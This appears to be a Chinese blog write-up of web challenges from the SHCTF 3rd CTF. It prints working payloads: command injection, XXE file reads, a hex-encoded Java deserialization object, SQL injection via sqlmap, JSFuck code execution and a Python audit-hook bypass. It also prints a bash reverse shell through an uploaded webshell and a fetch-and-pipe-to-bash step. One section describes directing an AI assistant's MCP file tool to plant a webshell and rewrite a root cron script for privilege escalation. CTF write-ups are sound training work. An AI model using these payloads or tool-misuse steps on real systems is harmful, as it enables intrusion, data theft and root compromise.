跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
编程语言Node.jsAIjava算法

SHCTF 3rd Web 部分题目 Writeup

综述由AI生成SHCTF 3rd Web 挑战涉及多种语言漏洞利用。涵盖命令注入绕过、XXE 实体注入、Java 反序列化、Go WAF 大小写绕过、SQL 注入、JSFuck 代码混淆、Python 审计钩子劫持及竞态条件攻击。重点解析了 MCP 协议文件权限配置缺陷导致的提权路径。通过实际 Payload 演示了从低权限到 Root 的完整渗透流程。

古灵精怪发布于 2026/4/10更新于 2026/5/2316 浏览
SHCTF 3rd Web 部分题目 Writeup

SHCTF 3rd Web 部分题目 Writeup

[阶段 1] ez-ping

靶机展示

题目比较简单,主要是命令执行。估计 flag 是关键字会被拦截。

Payload 思路

看到 flag 在根目录下,估计 cat /flag 都是敏感字被拦了。读文本文件除了 cat 以外,tail / head 等都很常用,加上用通配符 ? 绕过即可。

curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?' 

输出结果中包含 flag:SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}。

源码过滤 + getshell

直接 ls 可以看到当前目录的 .php 文件,我们看下源码尝试 getshell。

拦截规则在 ping.php,白名单允许 字母数字、.、-、/、?、*,虽然 * 也在里面不过下面黑名单也有。

拿 shell 也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 VPS 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可。

<?php header('Content-Type: text/plain; charset=utf-8');if($_SERVER['REQUEST_METHOD']==='POST'){$domain=$_POST['domain'] ?? '';if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){ http_response_code(400);echo"无效的域名!";exit;}if(empty($domain)){ http_response_code(400);echo"请输入域名!";exit;} try {$cmd="ping -c 4 ".$domain;if(!preg_match('/cat|tac|flag|\*/',$cmd)){$output= shell_exec($cmd." 2>&1");}else{$output="命令中包含非法字符!";}echo$output ?: "命令执行失败!";} catch (Exception $e){ http_response_code(500);echo"错误:".$e->getMessage();}} ?>

[阶段 2] Mini Blog

题干: 完全安全的博客系统

攻击思路

看到数据是 XML 格式提交,那大概率是 XXE 实体注入了。第一反应是 SSTI,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果)。

Payload

用 XXE 的 payload 看了下 /etc/passwd 直接就有回显了。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><post><title>&xxe;</title><content>123</content></post>

直接拿到了 /etc/hosts,因为不知道 flag 具体位置,随便测试了下,运气好用 /flag 直接拿到了 flag。

[阶段 3] 你也懂 java?

题干: 源代码和二进制已经全部在这里了,没有任何秘密。

靶机展示

靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody(),未经校验将 body 传入,大概率是反序列化的打法。

攻击思路

Note 对象调用了 getFilePath(),大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。

创建恶意类

// Exp.java
import java.io.*;
public class Exp {
    public static void main(String[] args) {
        try {
            Note note = new Note("Exploit", "Reading Flag", "/etc/passwd");
            FileOutputStream fos = new FileOutputStream("payload.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(note);
            oos.close();
            System.out.println("Payload 已生成:payload.ser");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译与利用

kali 默认没 javac,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。

将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd。

修改 Exp.java 中然后重新编译后并发送 payload,可以看到顺利拿到了 flag。

利用 python 直接发 payload

这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload,继而直接拿到 flag 或者相应的文件。

更加偷懒的方法

用下面的 payload,不但不用 jdk 编译恶意类,连 python 都省了。

echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x50\x61\x74\x68\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x07\x6d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x01\x4c\x00\x05\x74\x69\x74\x6c\x65\x71\x00\x7e\x00\x01\x78\x70\x74\x00\x05/flag\x74\x00\x03pwn\x74\x00\x03pwn"> payload.bin
curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin |grep SHCTF

[阶段 2] Go

题干: 我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。

过 waf+get flag

一开始尝试发送 GET 无效,改用 POST 发送发现响应改变。

尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role。

curl"http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'

返回包含 flag 的 JSON。

[阶段 1] 上古遗迹档案馆

题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目...

SQL 注入

这道题比较简单的,以 1' 作为参数就报错了。后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key。

sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump

[阶段 1] kill_king

题干: 提升自己,杀死 King,或者,做点别的???

攻击思路

这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。

查看源码可以看到 javascript 源代码在 logic.js,控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个 payload 可以直接跳到最后一关国王。

第二层 php 审计

在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。

使用 curl 发送 POST 可以看到 PHP 源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符。

PHP 审计攻击思路

这道题 get 传入三个参数,分别是 who / are / you,其中:

  • who 和 are 必须是数字;
  • you 从头到尾每一个字符都不能是字母、数字或下划线; 最终三个参数需要拼接成 return $who$you$are,同时要可以过 eval() 函数,也就是说必须是个合法的 php 的代码。

这道题乍一看没有什么思路,不过逆推的话还是很容易解决:如果不考虑正则过滤,这道题最终可以是 eval("return 1?xxxx:1") 这种三元表达式,这样解决了首尾 2 个参数只能是数字的问题。

既然我们自定义的函数既然可以动态引用,内置函数比如 system 这种也可以动态引用的。

最后的问题了,就是怎么解决用非字符串来进行攻击?这个攻击还是比较简单的,用 hackbat 发送 4 个参数,具体利用是取反,本地调试过如果使用八进制和十六进制编码传递 system 这种命令依旧会被正则拦截,取反后再取反就不会了。

最后是半成品的 payload

先用 .py 脚本生成要执行的命令,再使用 curl 将 payload 传递给靶机。

[阶段 1] ez_race

题干: 狠狠赚钱

攻击思路

核心有问题的源码是提现功能的 def form_valid() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆 flag。

Payload

选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有 10 元再发送 payload。

这道题多线程并发比较容易崩,我是崩了好几次再拿到的 flag。

[阶段 1] calc?js?f**k!

题干: 怎么又是计算器?又是 js?f**k!

攻击思路

jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用。

利用 jsf**k 网站

https://jsf**k.com/ <-请自行脑补*号字符对应的字母,关于为什么仅 !、[ 、] 就可以执行各种命令,这个网页上有简要说明。

  1. 查看根目录 process.mainModule.require('child_process').execSync('ls /').toString() payload 利用 jsf**k 转换,放入网站下图框中,注意 Eval Source 需要勾选。
  2. 利用 curl / hackbar / python 等工具发送 payload,注意选择 application/json。
  3. 最终读取 flag 的 payload 如下,可修改端口可直接复用。

[阶段 1] Eazy_Pyrunner

题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。

攻击思路

  1. 展示页上 关于 这里可能存在文件包含漏洞。
  2. 文本框内可以运行 Python 代码,会有暴露很多线索,另外这种题型大概率是绕过后 RCE。

dir() 下可以看到两个莫名其妙的函数,大概率是审计钩子。

高敏字段测试了下发现都被拦了。

文件包含获得源码

利用上面泄露的地址可以拿到 .py 的源码。

blacklist 涉及如下关键字:['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '"']。

审计函数逻辑:

  • sys.modules['os'] = 'not allowed' # os 不让用
  • return event_name.startswith("Nothing is my love but you.") # event name 必须以 关键字开头
  • len(event_name) > 0 # event name 不能大于 0
  • len(arg) # 参数不能大于 0

Payload

这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体 payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉。

运行 payload 后发现已经可以 RCE 了。

Get Shell + Flag

反弹可以用下面的方法,注意要先编码。

进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag。

[阶段 1] 05_em_v_CFK

题干: 继某两所大学校内餐厅被黑后,终于考上大学的小明也想'逝世',但是他遇到了一些困难于是请求你的帮助。

信息收集

  1. 源码存在如下隐藏信息,解码可知内容为:我上传了个 shell.php,带上 show 参数 get 小明的圣遗物吧。
  2. 此外经爆破靶机存在如下 文件/目录:index.php, connect.php, /uploads/, /uploads/shell.php(要带参数访问)。

第二层 php 源码及审计

根据小明提示,访问他的后门并加参数 show,我们得到了源码。 $pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115。

弹个 shell

curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"

攻击思路

根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include。

利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有 100.00 元,足够支付 flag 价格。

[MISC][阶段 2] ezAI

这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。

攻击思路

这个靶机并不是把 flag 告诉大模型后,再用 system prompt 把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。

攻击步骤--打点阶段

  1. 我们先用 list_allowed_directories 查看下 MCP 可以控制的文件夹。
  2. 尝试让 MCP 把 phpinfo() 写入文件成功,但是访问发现 404,因为写入的是 /var/www/h/1.php。
  3. 尝试写入 /var/www/html,考虑到服务器是 apache 尝试往其默认目录 /var/www/html 写写看文件,发现写入成功,并且可以访问到。
  4. 写入一句话木马并访问,成功 getshell。

攻击步骤--后渗透阶段

  1. 查找 flag,根据题干 flag 在 /root 下面,查看了下是没权限访问的,所以后面还要想办法提权。
  2. 先看下 /var/www 文件夹到底是怎么回事,的确是有 2 个文件夹 h 和 html,单看权限的话 user:www-data 只能操作 html 文件夹,而 user:mcp 可以同时操作这 2 个文件夹的内容。
  3. ps -aux 查看进程,我们看到 user:root 用 su -s /bin/bash 让 user:mcp 执行了 node 启动了 mcp 服务,同时把流量转发到了本地的 1337 端口,而且 mcp 服务的目录的确是 /var/www/h 文件夹。
  4. 内网信息收集,收集到任务计划的时候,我们看到 php 这个任务计划,是每分钟让 root 执行一次 /usr/lib/php/sessionclean 脚本,而碰巧这个脚本是 user:mcp 可以 rwx 的。
  5. getshell 提权,根据上面的思路,我们创建个软连接指向 /usr/lib/php/sessionclean 然后发指令让 MCP 修改成 revshell,然后让 user:root 定期执行任务的时候执行即可。

静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。

漏洞原因

为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?

目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。

本文抛砖引玉,感谢阅读。

目录

  1. SHCTF 3rd Web 部分题目 Writeup
  2. [阶段 1] ez-ping
  3. 靶机展示
  4. Payload 思路
  5. 源码过滤 + getshell
  6. [阶段 2] Mini Blog
  7. 攻击思路
  8. Payload
  9. [阶段 3] 你也懂 java?
  10. 靶机展示
  11. 攻击思路
  12. 创建恶意类
  13. 编译与利用
  14. 利用 python 直接发 payload
  15. 更加偷懒的方法
  16. [阶段 2] Go
  17. 过 waf+get flag
  18. [阶段 1] 上古遗迹档案馆
  19. SQL 注入
  20. [阶段 1] kill_king
  21. 攻击思路
  22. 第二层 php 审计
  23. PHP 审计攻击思路
  24. 最后是半成品的 payload
  25. [阶段 1] ez_race
  26. 攻击思路
  27. Payload
  28. [阶段 1] calc?js?f**k!
  29. 攻击思路
  30. 利用 jsf**k 网站
  31. [阶段 1] Eazy_Pyrunner
  32. 攻击思路
  33. 文件包含获得源码
  34. Payload
  35. Get Shell + Flag
  36. [阶段 1] 05emv_CFK
  37. 信息收集
  38. 第二层 php 源码及审计
  39. 弹个 shell
  40. 攻击思路
  41. [MISC][阶段 2] ezAI
  42. 攻击思路
  43. 攻击步骤--打点阶段
  44. 攻击步骤--后渗透阶段
  45. 漏洞原因
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Gemma-3-12B-IT WebUI 部署与使用指南
  • 二分查找算法原理与常见场景应用
  • Python 自动化脚本:8 个实用场景与代码实现
  • C++ 基础核心概念:命名空间、引用与内联函数
  • OpenCode 开源 AI 编程助手实战指南
  • GitHub Copilot
  • ThinkPHP 与 Laravel 实现游戏玩家视频交流平台的人脸识别功能
  • OpenCode Superpowers 插件安装与使用指南
  • 在 Kali Linux 上使用 PHPStudy 部署 DVWA 靶场及配置详解
  • 10 款论文 AIGC 降重工具实测对比
  • Python venv 虚拟环境工具使用指南及 uv 升级教程
  • YOLOv11 数据集训练、推理及网络结构详解
  • C++ 多态详解:原理、实现与最佳实践
  • Rust Trait 定义与实现:从抽象到实践
  • 基于 Isaac Lab 的 Robot Lab 机器人强化学习实战指南
  • VS Code 集成 GitHub Copilot 使用指南
  • Python 自动化办公与网络爬虫实战应用场景解析
  • Spring Boot 入门:Spring Web MVC 核心概念与实战解析
  • 链表详解及C++实现
  • 基于 Web Unlocker 和 n8n 的自动化资讯采集与推送系统

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online